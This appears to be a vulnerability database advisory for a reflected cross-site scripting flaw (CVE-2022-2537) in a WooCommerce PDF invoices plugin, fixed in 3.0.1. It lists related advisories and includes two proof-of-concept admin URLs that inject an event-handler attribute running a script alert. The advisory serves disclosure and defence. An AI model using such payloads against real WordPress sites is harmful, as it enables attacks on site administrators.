WooCommerce PDF Invoices & Packing Slips < 3.0.1 – Reflected Cross-Site Scripting | CVE 2022-2537 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in an attributes of an admin page, leading to Reflected Cross-Site Scripting.

This is a re-introduction of CVE-2021-24991 in 2.14.0

Proof of Concept

https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x

http://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29+x%3D

Affects Plugins

woocommerce-pdf-invoices-packing-slips

Fixed in 3.0.1

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Submitter twitter

Verified

Yes

WPVDB ID

ae613148-85d8-47a0-952d-49c29584676f

Timeline

Publicly Published

2022-08-03 (about 3 years ago)

Added

2022-08-03 (about 3 years ago)

Last Updated

2023-04-12 (about 2 years ago)

Other

Published

Title

Published

2024-06-22

Title

if-so < 1.8.0.4 - Reflected XSS

Published

2024-03-18

Title

MyCurator Content Curation < 3.77 - Reflected Cross-Site Scripting

Published

2025-10-02

Title

AP Background <= 3.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2011-01-21

Title

Statpresscn <= 1.9.0 - Multiple XSS

Published

2024-09-16

Title

Verbosa < 1.2.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting